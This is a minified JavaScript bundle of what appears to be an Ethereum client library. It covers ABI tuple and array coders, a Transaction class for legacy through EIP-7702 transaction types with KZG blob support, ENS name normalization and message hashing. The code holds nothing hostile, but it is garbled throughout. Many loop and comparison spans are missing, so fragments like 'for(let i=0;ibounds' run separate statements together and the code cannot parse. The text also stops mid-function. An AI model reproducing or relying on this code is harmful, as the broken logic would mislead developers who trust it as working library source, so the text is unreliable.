this.coder.defaultValue()}encode(writer,value){return this.coder.encode(writer,value)}decode(reader){return this.coder.decode(reader)}}function pack(writer,coders,values){let arrayValues=[];if(Array.isArray(values)){arrayValues=values}else if(values&&typeof values==="object"){let unique={};arrayValues=coders.map(coder=>{const name=coder.localName;assert(name,"cannot encode object for signature with missing names","INVALID_ARGUMENT",{argument:"values",info:{coder:coder},value:values});assert(!unique[name],"cannot encode object for signature with duplicate names","INVALID_ARGUMENT",{argument:"values",info:{coder:coder},value:values});unique[name]=true;return values[name]})}else{assertArgument(false,"invalid tuple value","tuple",values)}assertArgument(coders.length===arrayValues.length,"types/value length mismatch","tuple",values);let staticWriter=new Writer;let dynamicWriter=new Writer;let updateFuncs=[];coders.forEach((coder,index)=>{let value=arrayValues[index];if(coder.dynamic){let dynamicOffset=dynamicWriter.length;coder.encode(dynamicWriter,value);let updateFunc=staticWriter.writeUpdatableValue();updateFuncs.push(baseOffset=>{updateFunc(baseOffset+dynamicOffset)})}else{coder.encode(staticWriter,value)}});updateFuncs.forEach(func=>{func(staticWriter.length)});let length=writer.appendWriter(staticWriter);length+=writer.appendWriter(dynamicWriter);return length}function unpack(reader,coders){let values=[];let keys=[];let baseReader=reader.subReader(0);coders.forEach(coder=>{let value=null;if(coder.dynamic){let offset=reader.readIndex();let offsetReader=baseReader.subReader(offset);try{value=coder.decode(offsetReader)}catch(error){if(isError(error,"BUFFER_OVERRUN")){throw error}value=error;value.baseType=coder.name;value.name=coder.localName;value.type=coder.type}}else{try{value=coder.decode(reader)}catch(error){if(isError(error,"BUFFER_OVERRUN")){throw error}value=error;value.baseType=coder.name;value.name=coder.localName;value.type=coder.type}}if(value==undefined){throw new Error("investigate")}values.push(value);keys.push(coder.localName||null)});return Result.fromItems(values,keys)}class ArrayCoder extends Coder{coder;length;constructor(coder,length,localName){const type=coder.type+"["+(length>=0?length:"")+"]";const dynamic=length===-1||coder.dynamic;super("array",type,localName,dynamic);defineProperties(this,{coder:coder,length:length})}defaultValue(){const defaultChild=this.coder.defaultValue();const result=[];for(let i=0;ibounds||value<-(bounds+BN_1$2)){this._throwError("value out-of-bounds",_value)}value=toTwos(value,8*WordSize)}else if(valuemask(maxUintValue,this.size*8)){this._throwError("value out-of-bounds",_value)}return writer.writeValue(value)}decode(reader){let value=mask(reader.readValue(),this.size*8);if(this.signed){value=fromTwos(value,this.size*8)}return value}}class StringCoder extends DynamicBytesCoder{constructor(localName){super("string",localName)}defaultValue(){return""}encode(writer,_value){return super.encode(writer,toUtf8Bytes(Typed.dereference(_value,"string")))}decode(reader){return toUtf8String(super.decode(reader))}}class TupleCoder extends Coder{coders;constructor(coders,localName){let dynamic=false;const types=[];coders.forEach(coder=>{if(coder.dynamic){dynamic=true}types.push(coder.type)});const type="tuple("+types.join(",")+")";super("tuple",type,localName,dynamic);defineProperties(this,{coders:Object.freeze(coders.slice())})}defaultValue(){const values=[];this.coders.forEach(coder=>{values.push(coder.defaultValue())});const uniqueNames=this.coders.reduce((accum,coder)=>{const name=coder.localName;if(name){if(!accum[name]){accum[name]=0}accum[name]++}return accum},{});this.coders.forEach((coder,index)=>{let name=coder.localName;if(!name||uniqueNames[name]!==1){return}if(name==="length"){name="_length"}if(values[name]!=null){return}values[name]=values[index]});return Object.freeze(values)}encode(writer,_value){const value=Typed.dereference(_value,"tuple");return pack(writer,this.coders,value)}decode(reader){return unpack(reader,this.coders)}}function accessSetify(addr,storageKeys){return{address:getAddress(addr),storageKeys:storageKeys.map((storageKey,index)=>{assertArgument(isHexString(storageKey,32),"invalid slot",`storageKeys[${index}]`,storageKey);return storageKey.toLowerCase()})}}function accessListify(value){if(Array.isArray(value)){return value.map((set,index)=>{if(Array.isArray(set)){assertArgument(set.length===2,"invalid slot set",`value[${index}]`,set);return accessSetify(set[0],set[1])}assertArgument(set!=null&&typeof set==="object","invalid address-slot set","value",value);return accessSetify(set.address,set.storageKeys)})}assertArgument(value!=null&&typeof value==="object","invalid access list","value",value);const result=Object.keys(value).map(addr=>{const storageKeys=value[addr].reduce((accum,storageKey)=>{accum[storageKey]=true;return accum},{});return accessSetify(addr,Object.keys(storageKeys).sort())});result.sort((a,b)=>a.address.localeCompare(b.address));return result}function authorizationify(auth){return{address:getAddress(auth.address),nonce:getBigInt(auth.nonce!=null?auth.nonce:0),chainId:getBigInt(auth.chainId!=null?auth.chainId:0),signature:Signature.from(auth.signature)}}function computeAddress(key){let pubkey;if(typeof key==="string"){pubkey=SigningKey.computePublicKey(key,false)}else{pubkey=key.publicKey}return getAddress(keccak256("0x"+pubkey.substring(4)).substring(26))}function recoverAddress(digest,signature){return computeAddress(SigningKey.recoverPublicKey(digest,signature))}const BN_0$4=BigInt(0);const BN_2$2=BigInt(2);const BN_27=BigInt(27);const BN_28=BigInt(28);const BN_35=BigInt(35);const BN_MAX_UINT=BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");const BLOB_SIZE=4096*32;function getKzgLibrary(kzg){const blobToKzgCommitment=blob=>{if("computeBlobProof"in kzg){if("blobToKzgCommitment"in kzg&&typeof kzg.blobToKzgCommitment==="function"){return getBytes(kzg.blobToKzgCommitment(hexlify(blob)))}}else if("blobToKzgCommitment"in kzg&&typeof kzg.blobToKzgCommitment==="function"){return getBytes(kzg.blobToKzgCommitment(blob))}if("blobToKZGCommitment"in kzg&&typeof kzg.blobToKZGCommitment==="function"){return getBytes(kzg.blobToKZGCommitment(hexlify(blob)))}assertArgument(false,"unsupported KZG library","kzg",kzg)};const computeBlobKzgProof=(blob,commitment)=>{if("computeBlobProof"in kzg&&typeof kzg.computeBlobProof==="function"){return getBytes(kzg.computeBlobProof(hexlify(blob),hexlify(commitment)))}if("computeBlobKzgProof"in kzg&&typeof kzg.computeBlobKzgProof==="function"){return kzg.computeBlobKzgProof(blob,commitment)}if("computeBlobKZGProof"in kzg&&typeof kzg.computeBlobKZGProof==="function"){return getBytes(kzg.computeBlobKZGProof(hexlify(blob),hexlify(commitment)))}assertArgument(false,"unsupported KZG library","kzg",kzg)};return{blobToKzgCommitment:blobToKzgCommitment,computeBlobKzgProof:computeBlobKzgProof}}function getVersionedHash(version,hash){let versioned=version.toString(16);while(versioned.length<2){versioned="0"+versioned}versioned+=sha256(hash).substring(4);return"0x"+versioned}function handleAddress(value){if(value==="0x"){return null}return getAddress(value)}function handleAccessList(value,param){try{return accessListify(value)}catch(error){assertArgument(false,error.message,param,value)}}function handleAuthorizationList(value,param){try{if(!Array.isArray(value)){throw new Error("authorizationList: invalid array")}const result=[];for(let i=0;i[set.address,set.storageKeys])}function formatAuthorizationList(value){return value.map(a=>{return[formatNumber(a.chainId,"chainId"),a.address,formatNumber(a.nonce,"nonce"),formatNumber(a.signature.yParity,"yParity"),toBeArray(a.signature.r),toBeArray(a.signature.s)]})}function formatHashes(value,param){assertArgument(Array.isArray(value),`invalid ${param}`,"value",value);for(let i=0;ib.data),blobs.map(b=>b.commitment),blobs.map(b=>b.proof)])])}}return concat(["0x03",encodeRlp(fields)])}function _parseEip7702(data){const fields=decodeRlp(getBytes(data).slice(1));assertArgument(Array.isArray(fields)&&(fields.length===10||fields.length===13),"invalid field count for transaction type: 4","data",hexlify(data));const tx={type:4,chainId:handleUint(fields[0],"chainId"),nonce:handleNumber(fields[1],"nonce"),maxPriorityFeePerGas:handleUint(fields[2],"maxPriorityFeePerGas"),maxFeePerGas:handleUint(fields[3],"maxFeePerGas"),gasPrice:null,gasLimit:handleUint(fields[4],"gasLimit"),to:handleAddress(fields[5]),value:handleUint(fields[6],"value"),data:hexlify(fields[7]),accessList:handleAccessList(fields[8],"accessList"),authorizationList:handleAuthorizationList(fields[9],"authorizationList")};if(fields.length===10){return tx}_parseEipSignature(tx,fields.slice(10));return tx}function _serializeEip7702(tx,sig){const fields=[formatNumber(tx.chainId,"chainId"),formatNumber(tx.nonce,"nonce"),formatNumber(tx.maxPriorityFeePerGas||0,"maxPriorityFeePerGas"),formatNumber(tx.maxFeePerGas||0,"maxFeePerGas"),formatNumber(tx.gasLimit,"gasLimit"),tx.to||"0x",formatNumber(tx.value,"value"),tx.data,formatAccessList(tx.accessList||[]),formatAuthorizationList(tx.authorizationList||[])];if(sig){fields.push(formatNumber(sig.yParity,"yParity"));fields.push(toBeArray(sig.r));fields.push(toBeArray(sig.s))}return concat(["0x04",encodeRlp(fields)])}class Transaction{#type;#to;#data;#nonce;#gasLimit;#gasPrice;#maxPriorityFeePerGas;#maxFeePerGas;#value;#chainId;#sig;#accessList;#maxFeePerBlobGas;#blobVersionedHashes;#kzg;#blobs;#auths;get type(){return this.#type}set type(value){switch(value){case null:this.#type=null;break;case 0:case"legacy":this.#type=0;break;case 1:case"berlin":case"eip-2930":this.#type=1;break;case 2:case"london":case"eip-1559":this.#type=2;break;case 3:case"cancun":case"eip-4844":this.#type=3;break;case 4:case"pectra":case"eip-7702":this.#type=4;break;default:assertArgument(false,"unsupported transaction type","type",value)}}get typeName(){switch(this.type){case 0:return"legacy";case 1:return"eip-2930";case 2:return"eip-1559";case 3:return"eip-4844";case 4:return"eip-7702"}return null}get to(){const value=this.#to;if(value==null&&this.type===3){return ZeroAddress}return value}set to(value){this.#to=value==null?null:getAddress(value)}get nonce(){return this.#nonce}set nonce(value){this.#nonce=getNumber(value,"value")}get gasLimit(){return this.#gasLimit}set gasLimit(value){this.#gasLimit=getBigInt(value)}get gasPrice(){const value=this.#gasPrice;if(value==null&&(this.type===0||this.type===1)){return BN_0$4}return value}set gasPrice(value){this.#gasPrice=value==null?null:getBigInt(value,"gasPrice")}get maxPriorityFeePerGas(){const value=this.#maxPriorityFeePerGas;if(value==null){if(this.type===2||this.type===3){return BN_0$4}return null}return value}set maxPriorityFeePerGas(value){this.#maxPriorityFeePerGas=value==null?null:getBigInt(value,"maxPriorityFeePerGas")}get maxFeePerGas(){const value=this.#maxFeePerGas;if(value==null){if(this.type===2||this.type===3){return BN_0$4}return null}return value}set maxFeePerGas(value){this.#maxFeePerGas=value==null?null:getBigInt(value,"maxFeePerGas")}get data(){return this.#data}set data(value){this.#data=hexlify(value)}get value(){return this.#value}set value(value){this.#value=getBigInt(value,"value")}get chainId(){return this.#chainId}set chainId(value){this.#chainId=getBigInt(value)}get signature(){return this.#sig||null}set signature(value){this.#sig=value==null?null:Signature.from(value)}get accessList(){const value=this.#accessList||null;if(value==null){if(this.type===1||this.type===2||this.type===3){return[]}return null}return value}set accessList(value){this.#accessList=value==null?null:accessListify(value)}get authorizationList(){const value=this.#auths||null;if(value==null){if(this.type===4){return[]}}return value}set authorizationList(auths){this.#auths=auths==null?null:auths.map(a=>authorizationify(a))}get maxFeePerBlobGas(){const value=this.#maxFeePerBlobGas;if(value==null&&this.type===3){return BN_0$4}return value}set maxFeePerBlobGas(value){this.#maxFeePerBlobGas=value==null?null:getBigInt(value,"maxFeePerBlobGas")}get blobVersionedHashes(){let value=this.#blobVersionedHashes;if(value==null&&this.type===3){return[]}return value}set blobVersionedHashes(value){if(value!=null){assertArgument(Array.isArray(value),"blobVersionedHashes must be an Array","value",value);value=value.slice();for(let i=0;iObject.assign({},b))}set blobs(_blobs){if(_blobs==null){this.#blobs=null;return}const blobs=[];const versionedHashes=[];for(let i=0;i<_blobs.length;i++){const blob=_blobs[i];if(isBytesLike(blob)){assert(this.#kzg,"adding a raw blob requires a KZG library","UNSUPPORTED_OPERATION",{operation:"set blobs()"});let data=getBytes(blob);assertArgument(data.length<=BLOB_SIZE,"blob is too large",`blobs[${i}]`,blob);if(data.length!==BLOB_SIZE){const padded=new Uint8Array(BLOB_SIZE);padded.set(data);data=padded}const commit=this.#kzg.blobToKzgCommitment(data);const proof=hexlify(this.#kzg.computeBlobKzgProof(data,commit));blobs.push({data:hexlify(data),commitment:hexlify(commit),proof:proof});versionedHashes.push(getVersionedHash(1,commit))}else{const commit=hexlify(blob.commitment);blobs.push({data:hexlify(blob.data),commitment:commit,proof:hexlify(blob.proof)});versionedHashes.push(getVersionedHash(1,commit))}}this.#blobs=blobs;this.#blobVersionedHashes=versionedHashes}get kzg(){return this.#kzg}set kzg(kzg){if(kzg==null){this.#kzg=null}else{this.#kzg=getKzgLibrary(kzg)}}constructor(){this.#type=null;this.#to=null;this.#nonce=0;this.#gasLimit=BN_0$4;this.#gasPrice=null;this.#maxPriorityFeePerGas=null;this.#maxFeePerGas=null;this.#data="0x";this.#value=BN_0$4;this.#chainId=BN_0$4;this.#sig=null;this.#accessList=null;this.#maxFeePerBlobGas=null;this.#blobVersionedHashes=null;this.#kzg=null;this.#blobs=null;this.#auths=null}get hash(){if(this.signature==null){return null}return keccak256(this.#getSerialized(true,false))}get unsignedHash(){return keccak256(this.unsignedSerialized)}get from(){if(this.signature==null){return null}return recoverAddress(this.unsignedHash,this.signature)}get fromPublicKey(){if(this.signature==null){return null}return SigningKey.recoverPublicKey(this.unsignedHash,this.signature)}isSigned(){return this.signature!=null}#getSerialized(signed,sidecar){assert(!signed||this.signature!=null,"cannot serialize unsigned transaction; maybe you meant .unsignedSerialized","UNSUPPORTED_OPERATION",{operation:".serialized"});const sig=signed?this.signature:null;switch(this.inferType()){case 0:return _serializeLegacy(this,sig);case 1:return _serializeEip2930(this,sig);case 2:return _serializeEip1559(this,sig);case 3:return _serializeEip4844(this,sig,sidecar?this.blobs:null);case 4:return _serializeEip7702(this,sig)}assert(false,"unsupported transaction type","UNSUPPORTED_OPERATION",{operation:".serialized"})}get serialized(){return this.#getSerialized(true,true)}get unsignedSerialized(){return this.#getSerialized(false,false)}inferType(){const types=this.inferTypes();if(types.indexOf(2)>=0){return 2}return types.pop()}inferTypes(){const hasGasPrice=this.gasPrice!=null;const hasFee=this.maxFeePerGas!=null||this.maxPriorityFeePerGas!=null;const hasAccessList=this.accessList!=null;const hasBlob=this.#maxFeePerBlobGas!=null||this.#blobVersionedHashes;if(this.maxFeePerGas!=null&&this.maxPriorityFeePerGas!=null){assert(this.maxFeePerGas>=this.maxPriorityFeePerGas,"priorityFee cannot be more than maxFee","BAD_DATA",{value:this})}assert(!hasFee||this.type!==0&&this.type!==1,"transaction type cannot have maxFeePerGas or maxPriorityFeePerGas","BAD_DATA",{value:this});assert(this.type!==0||!hasAccessList,"legacy transaction cannot have accessList","BAD_DATA",{value:this});const types=[];if(this.type!=null){types.push(this.type)}else{if(this.authorizationList&&this.authorizationList.length){types.push(4)}else if(hasFee){types.push(2)}else if(hasGasPrice){types.push(1);if(!hasAccessList){types.push(0)}}else if(hasAccessList){types.push(1);types.push(2)}else if(hasBlob&&this.to){types.push(3)}else{types.push(0);types.push(1);types.push(2);types.push(3)}}types.sort();return types}isLegacy(){return this.type===0}isBerlin(){return this.type===1}isLondon(){return this.type===2}isCancun(){return this.type===3}clone(){return Transaction.from(this)}toJSON(){const s=v=>{if(v==null){return null}return v.toString()};return{type:this.type,to:this.to,data:this.data,nonce:this.nonce,gasLimit:s(this.gasLimit),gasPrice:s(this.gasPrice),maxPriorityFeePerGas:s(this.maxPriorityFeePerGas),maxFeePerGas:s(this.maxFeePerGas),value:s(this.value),chainId:s(this.chainId),sig:this.signature?this.signature.toJSON():null,accessList:this.accessList}}static from(tx){if(tx==null){return new Transaction}if(typeof tx==="string"){const payload=getBytes(tx);if(payload[0]>=127){return Transaction.from(_parseLegacy(payload))}switch(payload[0]){case 1:return Transaction.from(_parseEip2930(payload));case 2:return Transaction.from(_parseEip1559(payload));case 3:return Transaction.from(_parseEip4844(payload));case 4:return Transaction.from(_parseEip7702(payload))}assert(false,"unsupported transaction type","UNSUPPORTED_OPERATION",{operation:"from"})}const result=new Transaction;if(tx.type!=null){result.type=tx.type}if(tx.to!=null){result.to=tx.to}if(tx.nonce!=null){result.nonce=tx.nonce}if(tx.gasLimit!=null){result.gasLimit=tx.gasLimit}if(tx.gasPrice!=null){result.gasPrice=tx.gasPrice}if(tx.maxPriorityFeePerGas!=null){result.maxPriorityFeePerGas=tx.maxPriorityFeePerGas}if(tx.maxFeePerGas!=null){result.maxFeePerGas=tx.maxFeePerGas}if(tx.maxFeePerBlobGas!=null){result.maxFeePerBlobGas=tx.maxFeePerBlobGas}if(tx.data!=null){result.data=tx.data}if(tx.value!=null){result.value=tx.value}if(tx.chainId!=null){result.chainId=tx.chainId}if(tx.signature!=null){result.signature=Signature.from(tx.signature)}if(tx.accessList!=null){result.accessList=tx.accessList}if(tx.authorizationList!=null){result.authorizationList=tx.authorizationList}if(tx.blobVersionedHashes!=null){result.blobVersionedHashes=tx.blobVersionedHashes}if(tx.kzg!=null){result.kzg=tx.kzg}if(tx.blobs!=null){result.blobs=tx.blobs}if(tx.hash!=null){assertArgument(result.isSigned(),"unsigned transaction cannot define '.hash'","tx",tx);assertArgument(result.hash===tx.hash,"hash mismatch","tx",tx)}if(tx.from!=null){assertArgument(result.isSigned(),"unsigned transaction cannot define '.from'","tx",tx);assertArgument(result.from.toLowerCase()===(tx.from||"").toLowerCase(),"from mismatch","tx",tx)}return result}}function hashAuthorization(auth){assertArgument(typeof auth.address==="string","invalid address for hashAuthorization","auth.address",auth);return keccak256(concat(["0x05",encodeRlp([auth.chainId!=null?toBeArray(auth.chainId):"0x",getAddress(auth.address),auth.nonce!=null?toBeArray(auth.nonce):"0x"])]))}function verifyAuthorization(auth,sig){return recoverAddress(hashAuthorization(auth),sig)}function id(value){return keccak256(toUtf8Bytes(value))}var COMPRESSED$1="AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FYAA9MzkI9r4ZBg7QyQAWA9CeOwLNCjcCjqkChuA/lm+RAsXTAoP6ASfnEQDytQFJAjWVCkeXAOsA6godAB/c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SM_MAX=4;function decode_arithmetic(bytes){let pos=0;function u16(){return bytes[pos++]<<8|bytes[pos++]}let symbol_count=u16();let total=1;let acc=[0,1];for(let i=1;i>--read_width&1}const N=31;const FULL=2**N;const HALF=FULL>>>1;const QRTR=HALF>>1;const MASK=FULL-1;let register=0;for(let i=0;i1){let mid=start+end>>>1;if(value>>1|read_bit();a=a<<1^HALF;b=(b^HALF)<<1|HALF|1}low=a;range=1+b-a}let offset=symbol_count-4;return symbols.map(x=>{switch(x-offset){case 3:return offset+65792+(bytes[pos_payload++]<<16|bytes[pos_payload++]<<8|bytes[pos_payload++]);case 2:return offset+256+(bytes[pos_payload++]<<8|bytes[pos_payload++]);case 1:return offset+bytes[pos_payload++];default:return x-1}})}function read_payload(v){let pos=0;return()=>v[pos++]}function read_compressed_payload(s){return read_payload(decode_arithmetic(unsafe_atob(s)))}function unsafe_atob(s){let lookup=[];[..."ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"].forEach((c,i)=>lookup[c.charCodeAt(0)]=i);let n=s.length;let ret=new Uint8Array(6*n>>3);for(let i=0,pos=0,width=0,carry=0;i=8){ret[pos++]=carry>>(width-=8)}}return ret}function signed(i){return i&1?~i>>1:i>>1}function read_deltas(n,next){let v=Array(n);for(let i=0,x=0;i{let v=read_sorted(next);if(v.length)return v})}function read_mapped(next){let ret=[];while(true){let w=next();if(w==0)break;ret.push(read_linear_table(w,next))}while(true){let w=next()-1;if(w<0)break;ret.push(read_replacement_table(w,next))}return ret.flat()}function read_array_while(next){let v=[];while(true){let x=next(v.length);if(!x)break;v.push(x)}return v}function read_transposed(n,w,next){let m=Array(n).fill().map(()=>[]);for(let i=0;im[j].push(x))}return m}function read_linear_table(w,next){let dx=1+next();let dy=next();let vN=read_array_while(next);let m=read_transposed(vN.length,1+w,next);return m.flatMap((v,i)=>{let[x,...ys]=v;return Array(vN[i]).fill().map((_,j)=>{let j_dy=j*dy;return[x+j*dx,ys.map(y=>y+j_dy)]})})}function read_replacement_table(w,next){let n=1+next();let m=read_transposed(n,1+w,next);return m.map(v=>[v[0],v.slice(1)])}function read_trie(next){let ret=[];let sorted=read_sorted(next);expand(decode([]),[]);return ret;function decode(Q){let S=next();let B=read_array_while(()=>{let cps=read_sorted(next).map(i=>sorted[i]);if(cps.length)return decode(cps)});return{S:S,B:B,Q:Q}}function expand({S,B},cps,saved){if(S&4&&saved===cps[cps.length-1])return;if(S&2)saved=cps[cps.length-1];if(S&1)ret.push(cps);for(let br of B){for(let cp of br.Q){expand(br,[...cps,cp],saved)}}}}function hex_cp(cp){return cp.toString(16).toUpperCase().padStart(2,"0")}function quote_cp(cp){return`{${hex_cp(cp)}}`}function explode_cp(s){let cps=[];for(let pos=0,len=s.length;pos>24&255}function unpack_cp(packed){return packed&16777215}let SHIFTED_RANK,EXCLUSIONS,DECOMP,RECOMP;function init$1(){let r=read_compressed_payload(COMPRESSED);SHIFTED_RANK=new Map(read_sorted_arrays(r).flatMap((v,i)=>v.map(x=>[x,i+1<<24])));EXCLUSIONS=new Set(read_sorted(r));DECOMP=new Map;RECOMP=new Map;for(let[cp,cps]of read_mapped(r)){if(!EXCLUSIONS.has(cp)&&cps.length==2){let[a,b]=cps;let bucket=RECOMP.get(a);if(!bucket){bucket=new Map;RECOMP.set(a,bucket)}bucket.set(b,cp)}DECOMP.set(cp,cps.reverse())}}function is_hangul(cp){return cp>=S0&&cp=L0&&a=V0&&bT0&&b0)add(T0+t_index)}else{let mapped=DECOMP.get(cp);if(mapped){buf.push(...mapped)}else{add(cp)}}if(!buf.length)break;cp=buf.pop()}}if(check_order&&ret.length>1){let prev_cc=unpack_cc(ret[0]);for(let i=1;i0&&prev_cc>=cc){if(cc==0){ret.push(prev_cp,...stack);stack.length=0;prev_cp=cp}else{stack.push(cp)}prev_cc=cc}else{let composed=compose_pair(prev_cp,cp);if(composed>=0){prev_cp=composed}else if(prev_cc==0&&cc==0){ret.push(prev_cp);prev_cp=cp}else{stack.push(cp);prev_cc=cc}}}if(prev_cp>=0){ret.push(prev_cp,...stack)}return ret}function nfd(cps){return decomposed(cps).map(unpack_cp)}function nfc(cps){return composed_from_decomposed(decomposed(cps))}const HYPHEN=45;const STOP_CH=".";const FE0F=65039;const UNIQUE_PH=1;const Array_from=x=>Array.from(x);function group_has_cp(g,cp){return g.P.has(cp)||g.Q.has(cp)}class Emoji extends Array{get is_emoji(){return true}}let MAPPED,IGNORED,CM,NSM,ESCAPE,GROUPS,WHOLE_VALID,WHOLE_MAP,VALID,EMOJI_LIST,EMOJI_ROOT;function init(){if(MAPPED)return;let r=read_compressed_payload(COMPRESSED$1);const read_sorted_array=()=>read_sorted(r);const read_sorted_set=()=>new Set(read_sorted_array());const set_add_many=(set,v)=>v.forEach(x=>set.add(x));MAPPED=new Map(read_mapped(r));IGNORED=read_sorted_set();CM=read_sorted_array();NSM=new Set(read_sorted_array().map(i=>CM[i]));CM=new Set(CM);ESCAPE=read_sorted_set();read_sorted_set();let chunks=read_sorted_arrays(r);let unrestricted=r();const read_chunked=()=>{let set=new Set;read_sorted_array().forEach(i=>set_add_many(set,chunks[i]));set_add_many(set,read_sorted_array());return set};GROUPS=read_array_while(i=>{let N=read_array_while(r).map(x=>x+96);if(N.length){let R=i>=unrestricted;N[0]-=32;N=str_from_cps(N);if(R)N=`Restricted[${N}]`;let P=read_chunked();let Q=read_chunked();let M=!r();return{N:N,P:P,Q:Q,M:M,R:R}}});WHOLE_VALID=read_sorted_set();WHOLE_MAP=new Map;let wholes=read_sorted_array().concat(Array_from(WHOLE_VALID)).sort((a,b)=>a-b);wholes.forEach((cp,i)=>{let d=r();let w=wholes[i]=d?wholes[i-d]:{V:[],M:new Map};w.V.push(cp);if(!WHOLE_VALID.has(cp)){WHOLE_MAP.set(cp,w)}});for(let{V,M}of new Set(WHOLE_MAP.values())){let recs=[];for(let cp of V){let gs=GROUPS.filter(g=>group_has_cp(g,cp));let rec=recs.find(({G})=>gs.some(g=>G.has(g)));if(!rec){rec={G:new Set,V:[]};recs.push(rec)}rec.V.push(cp);set_add_many(rec.G,gs)}let union=recs.flatMap(x=>Array_from(x.G));for(let{G,V}of recs){let complement=new Set(union.filter(g=>!G.has(g)));for(let cp of V){M.set(cp,complement)}}}VALID=new Set;let multi=new Set;const add_to_union=cp=>VALID.has(cp)?multi.add(cp):VALID.add(cp);for(let g of GROUPS){for(let cp of g.P)add_to_union(cp);for(let cp of g.Q)add_to_union(cp)}for(let cp of VALID){if(!WHOLE_MAP.has(cp)&&!multi.has(cp)){WHOLE_MAP.set(cp,UNIQUE_PH)}}set_add_many(VALID,nfd(VALID));EMOJI_LIST=read_trie(r).map(v=>Emoji.from(v)).sort(compare_arrays);EMOJI_ROOT=new Map;for(let cps of EMOJI_LIST){let prev=[EMOJI_ROOT];for(let cp of cps){let next=prev.map(node=>{let child=node.get(cp);if(!child){child=new Map;node.set(cp,child)}return child});if(cp===FE0F){prev.push(...next)}else{prev=next}}for(let x of prev){x.V=cps}}}function quoted_cp(cp){return(should_escape(cp)?"":`${bidi_qq(safe_str_from_cps([cp]))} `)+quote_cp(cp)}function bidi_qq(s){return`"${s}"\u200E`}function check_label_extension(cps){if(cps.length>=4&&cps[2]==HYPHEN&&cps[3]==HYPHEN){throw new Error(`invalid label extension: "${str_from_cps(cps.slice(0,4))}"`)}}function check_leading_underscore(cps){const UNDERSCORE=95;for(let i=cps.lastIndexOf(UNDERSCORE);i>0;){if(cps[--i]!==UNDERSCORE){throw new Error("underscore allowed only at start")}}}function check_fenced(cps){let cp=cps[0];let prev=FENCED.get(cp);if(prev)throw error_placement(`leading ${prev}`);let n=cps.length;let last=-1;for(let i=1;imax){max>>=1;cps=[...cps.slice(0,max),8230,...cps.slice(-max)]}let prev=0;let n=cps.length;for(let i=0;i{let input=explode_cp(label);let info={input:input,offset:offset};offset+=input.length+1;try{let tokens=info.tokens=tokens_from_str(input,nf,ef);let token_count=tokens.length;let type;if(!token_count){throw new Error(`empty label`)}let norm=info.output=tokens.flat();check_leading_underscore(norm);let emoji=info.emoji=token_count>1||tokens[0].is_emoji;if(!emoji&&norm.every(cp=>cp<128)){check_label_extension(norm);type="ASCII"}else{let chars=tokens.flatMap(x=>x.is_emoji?[]:x);if(!chars.length){type="Emoji"}else{if(CM.has(norm[0]))throw error_placement("leading combining mark");for(let i=1;iset.has(g)):Array_from(set);if(!maker.length)return}else{shared.push(cp)}}if(maker){for(let g of maker){if(shared.every(cp=>group_has_cp(g,cp))){throw new Error(`whole-script confusable: ${group.N}/${g.N}`)}}}}function determine_group(unique){let groups=GROUPS;for(let cp of unique){let gs=groups.filter(g=>group_has_cp(g,cp));if(!gs.length){if(!GROUPS.some(g=>group_has_cp(g,cp))){throw error_disallowed(cp)}else{throw error_group_member(groups[0],cp)}}groups=gs;if(gs.length==1)break}return groups}function flatten(split){return split.map(({input,error,output})=>{if(error){let msg=error.message;throw new Error(split.length==1?msg:`Invalid label ${bidi_qq(safe_str_from_cps(input,63))}: ${msg}`)}return str_from_cps(output)}).join(STOP_CH)}function error_disallowed(cp){return new Error(`disallowed character: ${quoted_cp(cp)}`)}function error_group_member(g,cp){let quoted=quoted_cp(cp);let gg=GROUPS.find(g=>g.P.has(cp));if(gg){quoted=`${gg.N} ${quoted}`}return new Error(`illegal mixture: ${g.N} + ${quoted}`)}function error_placement(where){return new Error(`illegal placement: ${where}`)}function check_group(g,cps){for(let cp of cps){if(!group_has_cp(g,cp)){throw error_group_member(g,cp)}}if(g.M){let decomposed=nfd(cps);for(let i=1,e=decomposed.length;iNSM_MAX){throw new Error(`excessive non-spacing marks: ${bidi_qq(safe_str_from_cps(decomposed.slice(i-1,j)))} (${j-i}/${NSM_MAX})`)}i=j}}}}function tokens_from_str(input,nf,ef){let ret=[];let chars=[];input=input.slice().reverse();while(input.length){let emoji=consume_emoji_reversed(input);if(emoji){if(chars.length){ret.push(nf(chars));chars=[]}ret.push(ef(emoji))}else{let cp=input.pop();if(VALID.has(cp)){chars.push(cp)}else{let cps=MAPPED.get(cp);if(cps){chars.push(...cps)}else if(!IGNORED.has(cp)){throw error_disallowed(cp)}}}}if(chars.length){ret.push(nf(chars))}return ret}function filter_fe0f(cps){return cps.filter(cp=>cp!=FE0F)}function consume_emoji_reversed(cps,eaten){let node=EMOJI_ROOT;let emoji;let pos=cps.length;while(pos){node=node.get(cps[--pos]);if(!node)break;let{V}=node;if(V){emoji=V;cps.length=pos}}return emoji}const Zeros=new Uint8Array(32);Zeros.fill(0);function checkComponent(comp){assertArgument(comp.length!==0,"invalid ENS name; empty component","comp",comp);return comp}function ensNameSplit(name){const bytes=toUtf8Bytes(ensNormalize(name));const comps=[];if(name.length===0){return comps}let last=0;for(let i=0;i{assertArgument(comp.length<=length,`label ${JSON.stringify(name)} exceeds ${length} bytes`,"name",name);const bytes=new Uint8Array(comp.length+1);bytes.set(comp,1);bytes[0]=bytes.length-1;return bytes})))+"00"}function hashMessage(message){if(typeof message==="string"){message=toUtf8Bytes(message)}return keccak256(concat([toUtf8Bytes(MessagePrefix),toUtf8Bytes(String(message.length)),message]))}function verifyMessage(message,sig){const digest=hashMessage(message);return recoverAddress(digest,sig)}const regexBytes=new RegExp("^bytes([0-9]+)$");const regexNumber=new RegExp("^(u?int)([0-9]*)$");const regexArray=new RegExp("^(.*)\\[([0-9]*)\\]$");function _pack(type,value,isArray){switch(type){case"address":if(isArray){return getBytes(zeroPadValue(value,32))}return getBytes(getAddress(value));case"string":return toUtf8Bytes(value);case"bytes":return getBytes(value);case"bool":value=!!value?"0x01":"0x00";if(isArray){return getBytes(zeroPadValue(value,32))}return getBytes(value)}let match=type.match(regexNumber);if(match){let signed=match[1]==="int";let 